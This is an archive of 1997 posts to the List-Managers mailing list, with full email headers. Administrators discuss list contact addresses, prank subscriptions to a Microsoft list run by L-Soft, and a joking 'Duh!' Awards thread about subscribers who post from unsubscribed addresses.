LAA02030; Fri, 25 Apr 1997 11:34:05 -0400 (EDT) Message-Id: <199704251534.LAA02030@hahp9k.harte-lyne.ca> Comments: Authenticated sender is From: "James B. Byrne" Organization: Harte & Lyne Limited To: Cyndi Norman , List-Managers@GreatCircle.COM Date: Fri, 25 Apr 1997 11:29:16 -5 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: List Listings In-reply-to: <199704240926.CAA06355@shellx.best.com> X-mailer: Pegasus Mail for Win32 (v2.53/R1) Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On 24 Apr 97 at 2:26, Cyndi Norman wrote: > I also don't want a contact address only listing because then I > get tons of "how do I subscribe?" letters. A contact address does not have to be a human. It can be the subscription processing address, an auto-responder info address. In fact it can be any number of things besides the name of the actual list. The only requirements that I see that need to be met are: The actual list address should not be systematically derivable from the contact address. The contact address should provide information upon request about how to subscribe to the list itself. Regards, Jim --- James B. Byrne Harte & Lyne Limited vox +1 905 561 1241 9 Brockley Drive fax +1 905 561 0757 Hamilton, Ontario ByrneJB@Harte-Lyne.ca Canada L8E 3C3 From owner-list-managers-outgoing Sun Apr 27 15:38:54 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA27710 for list-managers-outgoing; Sun, 27 Apr 1997 15:06:19 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id PAA27701 for list-managers@greatcircle.com; Sun, 27 Apr 1997 15:06:14 -0700 (PDT) Received: from SEGATE.SUNET.SE (segate.sunet.se [192.36.125.6]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id GAA23919 for ; Fri, 25 Apr 1997 06:00:00 -0700 (PDT) Message-Id: <199704251300.GAA23919@honor.greatcircle.com> Received: from SEARN.SUNET.SE by SEGATE.SUNET.SE (LSMTP for OpenVMS v1.1a) with SMTP id <10.E0F240D2@SEGATE.SUNET.SE>; Fri, 25 Apr 1997 15:00:29 +0100 Received: from SEARN.SUNET.SE by SEARN.SUNET.SE (IBM VM SMTP V2R3) with BSMTP id 0568; Fri, 25 Apr 97 15:00:53 +0200 Received: from SEARN.SUNET.SE (NJE origin ERIC@SEARN) by SEARN.SUNET.SE (LMail V1.2c/1.8c) with RFC822 id 8374; Fri, 25 Apr 1997 15:00:48 +0200 Date: Fri, 25 Apr 1997 14:20:33 +0200 From: Eric Thomas Subject: Re: LSOFT.COM Spam Fest? / IP filters To: "List Manager's Digest (E-mail)" , Todd Day In-Reply-To: Message of Fri, 25 Apr 1997 03:42:28 -0700 from list-managers-owner@GreatCircle.COM Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Fri, 25 Apr 1997 03:42:28 -0700 Todd Day said: >I keep getting *TONS* of misdirected e-mail from bulk lists having a >return address of lsoft.com. Most recent is VISTOOLS@MSDN.EASE.LSOFT.COM >(this is a Microsoft software tools mailing list, as best I can tell). >Despite several requests to get them to stop sending their junk, they >just keep on sending it. Actually, VISTOOLS is a brand new list, and there has only ever been one posting to that list. Whatever you may think about Microsoft and its products, this is not a basement outfit with nothing to lose from advertising the latest MLM scam using the 6M free addresses that came with SUPER-BULK ULTRAMAIL(TM). They are actually very careful about their public image, and they only send to addresses that they have gathered in a legitimate way, usually from a web subscription form although the old-fashioned SUBSCRIBE method is often also available. The problem though is that they are commonly used by pranksters to play practical jokes on, for instance, unix programmers :-) People go to the web page and type the victim's address and presto! Free subscription to VISUAL BASIC news with guaranteed blood pressure increase! :-) If you accept that for this type of list and the intended audience, the cookie mechanism is just not an option, you also have to accept that people will be playing pranks and there is very little you can do about it. At any rate, we only do business with legitimate, reputable companies (and it's not for the lack of spammers calling to use our services, they have actually gotten good enough at lying that we sometimes came THAT close to delivering spams on their behalf :-( ). In every large list there are going to be a number of addresses of people who were added by a third party and are convinced that they have been spammed, however from the provider's point of view these are legitimate subscriptions that were received in the same manner and through the same channels as other bona-fide subscriptions. Finally, I am not sure whom you asked to be removed, but in my experience mail sent to postmaster@microsoft.com does not necessarily result in a prompt answer. There should have been some kind of mailbox or Reply-To: address or URL in the newsletter saying how to unsubscribe (this is a requirement for using our services for one-way lists, although most customers can post to their lists directly and sometimes we find out that the signoff instructions were omitted). I am not trying to say that postmaster@microsoft.com shouldn't also work, I'm just saying that in practice it doesn't. Complaints sent to postmaster@lsoft.com are passed on to the customer so that they can update their database. Most of these big lists are linked one-way from the database to LISTSERV for various technical or non-technical reasons and L-Soft does not have the authority to sign people off. Eric From owner-list-managers-outgoing Mon Apr 28 05:53:51 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id FAA29173 for list-managers-outgoing; Mon, 28 Apr 1997 05:40:16 -0700 (PDT) Received: from sacmgr.mp.usbr.gov (sacmgr.mp.usbr.gov [140.214.12.4]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id FAA29104 for ; Mon, 28 Apr 1997 05:39:59 -0700 (PDT) Received: by sacto.mp.usbr.gov (MX V4.2A VAX) id 3; Mon, 28 Apr 1997 05:40:40 PDT Date: Mon, 28 Apr 1997 05:40:37 PDT From: "Henry W. Miller" To: list-managers@greatcircle.com CC: henrym@sacto.mp.usbr.gov Message-ID: <009B371F.2A1E55C0.3@sacto.mp.usbr.gov> Subject: The "Duh!" Awards Sender: list-managers-owner@GreatCircle.COM Precedence: bulk OK, we've had our recent rounds of nominations for the "Chutzpah" Awards. Maybe we should just call them the "Chutzpies". It's time for a new class, the "Duh" Award. I bring this up because it has happened to me twice in the past week and a half. Most of of lists are closed to all but subscribers, SPAM being the obvious reason. This has been made known to the members of the various lists: they cannot post to the list UNLESS they are a subscriber. So, I get a message (this has happened twice from two different people) from a subscriber: they are subscribed as xyzzy@foo.org (names changes to protect the guilty). They also have another account with another ISP, call it xyzzy@bar.net. They send a message from their account at bar.net, and it bounces. They complain to me. I explain that they are not subscribed at that address. "But", they complain, "I am a subscriber to the list! At foo.org"... DUH!!! Happy Monday, all, if such a thing is not an oxymoron.... -HWM From owner-list-managers-outgoing Mon Apr 28 08:15:58 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA16844 for list-managers-outgoing; Mon, 28 Apr 1997 07:49:55 -0700 (PDT) Received: from eagle.inetnebr.com (eagle.inetnebr.com [199.184.119.14]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA16813 for ; Mon, 28 Apr 1997 07:49:46 -0700 (PDT) Received: from carrot.tssi.com (root@gateway.tssi.com [198.147.197.29]) by eagle.inetnebr.com (8.8.5/8.8.5) with ESMTP id JAA04365; Mon, 28 Apr 1997 09:50:43 -0500 (CDT) Received: from celery.tssi.com (carrot.tssi.com) by carrot.tssi.com (8.6.12/8.6.9) with ESMTP id JAA32587; Mon, 28 Apr 1997 09:50:44 -0500 Received: (from celery.tssi.com) by celery.tssi.com (8.7.5/8.7.3) id JAA03774; Mon, 28 Apr 1997 09:50:41 -0500 From: Mike Nolan Message-Id: <199704281450.JAA03774@celery.tssi.com> Subject: Re: List Listings To: vicric@panix.com (Vicki Richman) Date: Mon, 28 Apr 1997 09:50:41 -0500 (CDT) Cc: list-managers@GreatCircle.COM In-Reply-To: <199704261643.MAA13947@panix2.panix.com> from "Vicki Richman" at Apr 26, 97 12:43:41 pm Reply-To: nolan@tssi.com X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > Mike Nolan has written: > > > I also have a small perl program that transforms e-mail to unlfaq@tssi.com > > or nwufaq@tssi.com into an archive server request for the appropriate FAQ > > As I maintain lists and a FAQ for the National Writers Union > -- often shortened to NWU -- we should note that Mr. Nolan's > lists and FAQ serve the sports program of Northwestern > University. To be completely accurate, I have one group of lists that covers the Northwestern University sports scene, another that covers the University of Nebraska-Lincoln sport scene, and some lists dealing with chess. The Northwestern list is at nwu-sports@tssi.com, which hopefully is not being confused with the National Writers Union list. I don't believe I have had anyone attempt to associate the Northwestern list address with the National Writers Union, nor is any association implied. Thanks for letting me know about the possibility, I'll revise my disclaimers to cover that. -- Mike Nolan From owner-list-managers-outgoing Tue Apr 29 02:17:43 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA05279 for list-managers-outgoing; Mon, 28 Apr 1997 23:25:36 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id XAA05248 for list-managers@greatcircle.com; Mon, 28 Apr 1997 23:25:27 -0700 (PDT) Received: from sacusr.mp.usbr.gov (sacusr.mp.usbr.gov [140.214.12.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id GAA06145 for ; Mon, 28 Apr 1997 06:33:23 -0700 (PDT) Received: by sacto.mp.usbr.gov (MX V4.2A VAX) id 5; Mon, 28 Apr 1997 06:34:02 PDT Date: Mon, 28 Apr 1997 06:33:59 PDT From: "Henry W. Miller" To: dfl@panix.com CC: list-managers@greatcircle.com, henrym@sacto.mp.usbr.gov Message-ID: <009B3726.9E6BE0D0.5@sacto.mp.usbr.gov> Subject: Re: The "Duh!" Awards Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > From: MX%"dfl@panix.com" "Danny Lieberman" 28-APR-1997 06:14:01.82 > Subj: Re: The "Duh!" Awards > > It's time for a new class, the "Duh" Award. I bring this up > > because it has happened to me twice in the past week and a half. > > OK, Henry, I'll give you one. Last night I received a bounce of a post > from someone who unsubscribed from my list-digest about a week ago. > > (before he had re-sub'd he often tried to post w/out subscription, > never mind my numerous emails that it wouldnt go thru) > Danny, Yup, I get a couple of those a month too - user unsubscribes, then gets bent out of shape because they can no longer post to the list. DUH! > -- > > Danny Lieberman > dfl@panix.com -HWM From owner-list-managers-outgoing Tue Apr 29 02:29:26 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA05227 for list-managers-outgoing; Mon, 28 Apr 1997 23:25:23 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id XAA05188 for list-managers@greatcircle.com; Mon, 28 Apr 1997 23:25:16 -0700 (PDT) Received: from panix.com (panix.com [198.7.0.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id GAA02692 for ; Mon, 28 Apr 1997 06:12:36 -0700 (PDT) Received: (from dfl@localhost) by panix.com (8.8.5/8.7/PanixU1.3) id JAA10546; Mon, 28 Apr 1997 09:13:29 -0400 (EDT) From: Danny Lieberman Message-Id: <199704281313.JAA10546@panix.com> Subject: Re: The "Duh!" Awards To: henrym@sacto.mp.usbr.gov (Henry W. Miller) Date: Mon, 28 Apr 1997 09:13:29 -0400 (EDT) Cc: list-managers@greatcircle.com (List Managers) In-Reply-To: <009B371F.2A1E55C0.3@sacto.mp.usbr.gov> from "Henry W. Miller" at Apr 28, 97 05:40:37 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > It's time for a new class, the "Duh" Award. I bring this up > because it has happened to me twice in the past week and a half. OK, Henry, I'll give you one. Last night I received a bounce of a post from someone who unsubscribed from my list-digest about a week ago. (before he had re-sub'd he often tried to post w/out subscription, never mind my numerous emails that it wouldnt go thru) -- Danny Lieberman dfl@panix.com From owner-list-managers-outgoing Tue Apr 29 07:24:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA13573 for list-managers-outgoing; Tue, 29 Apr 1997 07:10:18 -0700 (PDT) Received: from neuman.interaccess.com (neuman.interaccess.com [207.70.126.130]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA13479 for ; Tue, 29 Apr 1997 07:09:43 -0700 (PDT) Received: from mkleiman.interaccess.com (d99.loop.interaccess.com [206.183.68.99]) by neuman.interaccess.com (8.8.5/8.7.5) with SMTP id JAA17865 for ; Tue, 29 Apr 1997 09:08:57 -0500 (CDT) Message-Id: <3.0.1.32.19970429091143.006f09e4@pop.interaccess.com> X-Sender: mkleiman@pop.interaccess.com X-Mailer: Windows Eudora Pro Version 3.0.1 (32) Date: Tue, 29 Apr 1997 09:11:43 -0500 To: List-Managers@GreatCircle.COM From: "Matthew N. Kleiman" Subject: Re The "Duh!" Awards In-Reply-To: <199704290800.BAA27349@honor.greatcircle.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: list-managers-owner@GreatCircle.COM Precedence: bulk >From: "Henry W. Miller" >Subject: The "Duh!" Awards >It's time for a new class, the "Duh" Award. I bring this up >because it has happened to me twice in the past week and a half. [...] >I explain >that they are not subscribed at that address. "But", they complain, "I >am a subscriber to the list! At foo.org"... Actually, I don't think this is such a stupid mistake for a list subscriber to make. I'm not criticizing Mr. Miller, but I often catch myself expecting -- unrealistically -- that my subscribers have the same level of computer knowledge as myself. Of course its frustrating to have to address these problems again and again, but depending on the target audience of your list, it may very well be "part of the job" of being list admin. If the gaff Mr. Miller describes qualifies for a "Duh!" Award, then I've got a list half-full of future recipients. Of course, if I didn't have them, I'd be missing some of the most knowledgable, helpful, and entertaining people on my list. Food for thought... - Matt Matthew N. Kleiman * Chicago * Illinois * mailto:mkleiman@interaccess.com Administrator * Bernese Mountain Dog Mailing List * berner-l@prairienet.org Berner Home Page * http://homepage.interaccess.com/~mkleiman/berner.html